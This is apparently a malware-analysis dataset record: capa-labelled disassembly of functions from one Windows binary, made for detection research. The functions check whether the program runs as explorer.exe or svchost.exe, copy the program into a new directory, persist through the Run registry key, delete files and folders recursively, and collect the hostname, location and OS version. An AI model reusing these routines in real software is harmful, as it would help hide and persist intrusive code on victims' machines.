joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4095b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40969b
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409691
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x409687
push 0x7fff
mov eax, dword [ebp - 4]
push eax
push 0
call dword [0x489404]
test eax, eax
je 0x40967d
push 0x7fff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x40967d
mov edx, dword [ebp - 8]
push edx
push str._sexplorer.exe
push 0x7fff
mov eax, dword [ebp - 0xc]
push eax
call fcn.0042217a
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40967d
mov eax, dword [ebp - 4]
push eax
call dword [0x4893f8]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 0xc]
push edx
call dword [0x4893f8]
mov eax, 1
jmp 0x40969d
mov eax, dword [ebp - 0xc]
push eax
call dword [0x4893f8]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 4]
push edx
call dword [0x4893f8]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4096b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40979b
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409791
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x409787
push 0x7fff
mov eax, dword [ebp - 4]
push eax
push 0
call dword [0x489404]
test eax, eax
je 0x40977d
push 0x7fff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x40977d
mov edx, dword [ebp - 8]
push edx
push str._s_svchost.exe
push 0x7fff
mov eax, dword [ebp - 0xc]
push eax
call fcn.0042217a
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40977d
mov eax, dword [ebp - 4]
push eax
call dword [0x4893f8]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 0xc]
push edx
call dword [0x4893f8]
mov eax, 1
jmp 0x40979d
mov eax, dword [ebp - 0xc]
push eax
call dword [0x4893f8]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 4]
push edx
call dword [0x4893f8]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4097b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40989b
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409891
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x409887
push 0x7fff
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40987d
push 0x7fff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x40987d
mov edx, dword [ebp - 8]
push edx
push 0x4320cc
push 0x7fff
mov eax, dword [ebp - 0xc]
push eax
call fcn.0042217a
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40987d
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x40989d
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40d500
Capabilities:
Create directory
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov dword [ebp - 0x10], 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040d850
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40d719
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
je 0x40d54f
call dword [0x48944c]
cmp eax, 0xb7
jne 0x40d709
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40d709
mov eax, dword [ebp + 8]
add eax, 0x270
push eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0x432910
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40d6f9
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x220]
push edx
call fcn.0041b1b0
add esp, 8
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
je 0x40d6f9
mov dword [ebp - 0x22c], 0xffffffff
push 0
push 0x80
push 1
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x22c], eax
call dword [0x48944c]
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x22c], 0xffffffff
jne 0x40d62f
cmp dword [ebp - 0x230], 0x50
jne 0x40d6e3
cmp dword [ebp - 0x230], 0x50
jne 0x40d63c
jmp 0x40d69b
push 0
lea ecx, [ebp - 0x234]
push ecx
mov edx, dword [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x234]
cmp edx, dword [ebp - 0x224]
jne 0x40d6c3
mov eax, dword [ebp - 0x22c]
push eax
call dword [0x4893e4]
mov dword [ebp - 0x22c], 0xffffffff
cmp dword [ebp - 0x22c], 0xffffffff
je 0x40d69b
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [0x4893e4]
mov edx, dword [ebp - 0x228]
push edx
call dword [0x4893f8]
mov eax, dword [ebp - 0x14]
push eax
call dword [0x4893f8]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x4893f8]
mov eax, 1
jmp 0x40d71b
cmp dword [ebp - 0x22c], 0xffffffff
je 0x40d6d9
mov edx, dword [ebp - 0x22c]
push edx
call dword [0x4893e4]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x228], 0
je 0x40d6f9
mov ecx, dword [ebp - 0x228]
push ecx
call dword [0x4893f8]
cmp dword [ebp - 0x14], 0
je 0x40d709
mov edx, dword [ebp - 0x14]
push edx
call dword [0x4893f8]
cmp dword [ebp - 0xc], 0
je 0x40d719
mov eax, dword [ebp - 0xc]
push eax
call dword [0x4893f8]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40d940
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4368e0
call dword [0x4897a4]
test eax, eax
jne 0x40da2f
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40da25
mov ecx, dword [ebp + 8]
add ecx, 0x5c4a
push ecx
mov edx, dword [ebp - 4]
push edx
push 0x43292c
push 0x7fff
mov eax, dword [ebp - 8]
push eax
call dword [0x489794]
add esp, 0x14
test eax, eax
jle 0x40da1b
call fcn.0040de30
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40da1b
mov dword [ebp - 0x18], 0xc
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
je 0x40d9e6
call dword [0x48944c]
cmp eax, 0xb7
jne 0x40da0b
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 8]
push edx
call dword [0x4893f8]
mov eax, dword [ebp - 4]
push eax
call dword [0x4897c0]
mov eax, 1
jmp 0x40da31
cmp dword [ebp - 0xc], 0
je 0x40da1b
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 8]
push edx
call dword [0x4893f8]
mov eax, dword [ebp - 4]
push eax
call dword [0x4897c0]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40ff90
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x47dcf0
call fcn.0040d850
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41009e
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x410094
push str.C16ED3BA_C792_4F80_896E_A10F93DA334D
push str.svchost.exe
mov ecx, dword [ebp - 8]
push ecx
push str._s_s__s
push 0x7fff
mov edx, dword [ebp - 0xc]
push edx
call dword [0x489794]
add esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [0x47f9a4], 1
jne 0x410040
lea eax, [ebp - 0x10]
push eax
push 0x432b78
push SysReAllocString
call dword [0x4896c0]
test eax, eax
jne 0x410040
mov ecx, dword [ebp - 0x14]
lea edx, [ecx + ecx + 2]
push edx
mov eax, dword [ebp - 0xc]
push eax
push 1
push 0
push 0x483718
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x4896bc]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x4896c4]
cmp dword [0x47f9a0], 1
jne 0x41008a
lea eax, [ebp - 0x10]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x4896c0]
test eax, eax
jne 0x41008a
mov ecx, dword [ebp - 0x14]
lea edx, [ecx + ecx + 2]
push edx
mov eax, dword [ebp - 0xc]
push eax
push 1
push 0
push 0x483766
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x4896bc]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x4896c4]
mov eax, dword [ebp - 0xc]
push eax
call dword [0x4893f8]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x4893f8]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x410b90
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [0x47f9ac], 1
jne 0x410ccd
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x410c0d
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x4368d0
call dword [0x4897a4]
test eax, eax
jne 0x410c03
push str.C9BBFD38_9DCE_414A_95FE_EC7A62BE2FA1
mov ecx, dword [ebp - 0xc]
push ecx
push str._s_s.lnk
push 0x7fff
mov edx, dword [ebp - 4]
push edx
call fcn.0042217a
add esp, 0x14
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x4897c0]
mov edx, dword [ebp - 4]
push edx
call dword [0x4893f8]
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4368e0
call dword [0x4897a4]
test eax, eax
jne 0x410ccd
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x410cc3
push str.B31C00F1_2D6F_443D_B1F6_6ADAAD38B35A
mov ecx, dword [ebp - 8]
push ecx
push 0x432d50
push 0x7fff
mov edx, dword [ebp - 0x10]
push edx
call fcn.0042217a
add esp, 0x14
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x410cb9
push str.137B6DB8_6822_47A4_84F3_29D49F6E0C29
push str.B31C00F1_2D6F_443D_B1F6_6ADAAD38B35A
mov eax, dword [ebp - 8]
push eax
push str._s_s_s.BAT
push 0x7fff
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0042217a
add esp, 0x18
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x4893f8]
mov eax, dword [ebp - 8]
push eax
call dword [0x4897c0]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x415480
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a0
push str.UNLOAD.TXT
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x4154f1
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x4892a8], eax
cmp dword [0x4892a8], 0
je 0x4154f1
push 0
push 0
push 0
push 0x409460
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4892ac], eax
cmp dword [0x4892ac], 0
je 0x4154db
jmp 0x4154f1
mov eax, dword [0x4892a8]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x4892a8], 0
cmp dword [0x47f9b4], 1
jne 0x4155bf
call fcn.0041afe0
cmp eax, 1
jne 0x4155bf
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0
lea ecx, [ebp - 0x194]
push ecx
push 0x47dcf0
call fcn.0040d850
add esp, 8
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
je 0x4155bf
xor edx, edx
mov word [ebp - 0x3a0], dx
push 0x206
push 0
lea eax, [ebp - 0x39e]
push eax
call fcn.00422100
add esp, 0xc
push str.svchost.exe
mov ecx, dword [ebp - 0x198]
push ecx
push str.__s_s_
push 0x104
lea edx, [ebp - 0x3a0]
push edx
call fcn.0042217a
add esp, 0x14
mov eax, dword [0x47fa58]
push eax
mov ecx, dword [0x47fa54]
push ecx
push 0x47fa06
push 0x47f9b8
push str.C16ED3BA_C792_4F80_896E_A10F93DA334D
lea edx, [ebp - 0x3a0]
push edx
call fcn.004080b0
add esp, 0x18
mov eax, dword [ebp - 0x198]
push eax
call dword [0x4893f8]
cmp dword [0x47f9a8], 0
jne 0x4155cd
call fcn.0040ff90
cmp dword [0x47f9ac], 1
jne 0x4155db
call fcn.0040fd00
cmp dword [0x47f9a8], 1
jne 0x4155e9
call fcn.004198b0
push 0x15
call fcn.00406760
add esp, 4
cmp dword [0x47e2e0], 1
jne 0x41564a
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x4892b8], eax
cmp dword [0x4892b8], 0
je 0x41564a
push 0
push 0
push 0
push 0x40cb30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4892bc], eax
cmp dword [0x4892bc], 0
je 0x41563d
jmp 0x41564a
mov ecx, dword [0x4892b8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x190]
push edx
push 2
call dword [0x489860]
test eax, eax
jne 0x4156b0
cmp dword [0x486524], 1
jne 0x415680
push 0
push 0
push 0
push 0x41a290
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x489a08], eax
push 0
push 0
push 0
push 0x41fc60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x489cc4], eax
cmp dword [0x489cc4], 0
je 0x4156aa
mov eax, 1
jmp 0x4156b5
call dword [0x489864]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x415f90
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
jmp 0x415fb1
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x64
jge 0x4160d1
push 0
mov edx, dword [ebp - 0xc]
shl edx, 4
mov eax, dword [ebp - 4]
mov ecx, dword [eax + edx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x415fe7
cmp dword [ebp - 8], 0x102
je 0x4160cc
mov edx, dword [ebp - 0xc]
shl edx, 4
add edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp dword [eax + 4], 0
je 0x416013
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 8], 0
je 0x416033
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 8], 0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4160ae
push 0
push 4
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4160a4
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x14]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x41609a
mov eax, 1
jmp 0x4160d3
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0xc], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], 0
jmp 0x415fa8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4198b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0x489958
push 0
push 0
push 0x419940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x489950], eax
cmp dword [0x489950], 0
je 0x4198e0
mov eax, 1
jmp 0x4198e2
xor eax, eax
pop ebp
ret
Function at 0x41b1b0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x41b254
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x41b24a
mov edx, dword [ebp - 8]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x41b24a
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41b240
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 8]
jne 0x41b240
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
jmp 0x41b256
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x41b6d0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
cmp dword [ebp + 8], 0
je 0x41b6f6
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x41b8c8
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41b8c8
mov ecx, dword [ebp + 0x10]
push ecx
push str._s.
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call dword [0x489794]
add esp, 0x10
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x41b8be
lea eax, [ebp - 0x260]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x41b8a1
cmp dword [ebp + 8], 1
jne 0x41b781
push 0
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x41b781
jmp 0x41b895
push 0x436124
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x41b7ad
push 0x436128
lea ecx, [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x41b7b2
jmp 0x41b87c
mov edx, dword [ebp - 0x260]
and edx, 0x10
je 0x41b850
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0
je 0x41b84e
lea eax, [ebp - 0x234]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push str._s_s_
push 0x7fff
mov edx, dword [ebp - 0x264]
push edx
call dword [0x489794]
add esp, 0x14
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 0x264]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0041b6d0
add esp, 0x10
mov ecx, dword [ebp - 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x41b841
mov edx, dword [ebp + 0x14]
cmp dword [edx], 0
jne 0x41b841
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov edx, dword [ebp - 0x264]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x41b87c
lea eax, [ebp - 0x234]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push str._s_s
push 0x7fff
mov edx, dword [ebp - 0xc]
push edx
call dword [0x489794]
add esp, 0x14
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x260]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x41b763
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x41b8b4
mov ecx, dword [ebp + 0x14]
cmp dword [ecx], 0
jne 0x41b8b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp + 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret
Function at 0x41bab0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov ecx, dword [ebp + 8]
mov dword [ecx], 0
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0x14], 0x10325476
pop ebp
ret
Function at 0x421160
Capabilities:
Get geographical location
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push 0x318
push 0x40
call dword [0x4893ec]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x421319
push str.NTDLL.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4211a8
mov eax, dword [ebp - 4]
push eax
call dword [0x4893f8]
xor eax, eax
jmp 0x42131b
push str.RtlGetVersion
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4211d1
mov edx, dword [ebp - 4]
push edx
call dword [0x4893f8]
xor eax, eax
jmp 0x42131b
push 0x11c
push 0
lea eax, [ebp - 0x130]
push eax
call fcn.00422100
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea ecx, [ebp - 0x130]
push ecx
call dword [ebp - 0xc]
test eax, eax
je 0x421210
mov edx, dword [ebp - 4]
push edx
call dword [0x4893f8]
xor eax, eax
jmp 0x42131b
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x12c]
mov dword [eax + 0x308], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
mov dword [edx + 0x30c], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x124]
mov dword [ecx + 0x310], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x120]
mov dword [eax + 0x314], ecx
push 0x10
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [ebp - 0x134], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x134]
mov dword [edx], eax
push 0x50
lea ecx, [ebp - 0x188]
push ecx
call dword [0x48986c]
test eax, eax
jne 0x42130f
lea edx, [ebp - 0x188]
push edx
call dword [0x489850]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
je 0x42130f
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [ebp - 4]
mov ecx, dword [edx]
mov dword [eax + 0x228], ecx
mov dword [ebp - 0x190], 0x10
lea edx, [ebp - 0x190]
push edx
mov eax, dword [ebp - 4]
add eax, 4
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x42130f
mov dword [ebp - 0x194], 0x101
lea ecx, [ebp - 0x194]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [0x48975c]
cmp eax, 1
jne 0x42130f
call dword [0x489510]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x300], eax
mov dword [ecx + 0x304], edx
mov eax, dword [ebp - 4]
jmp 0x42131b
mov edx, dword [ebp - 4]
push edx
call dword [0x4893f8]
xor eax, eax
mov esp, ebp
pop ebp
ret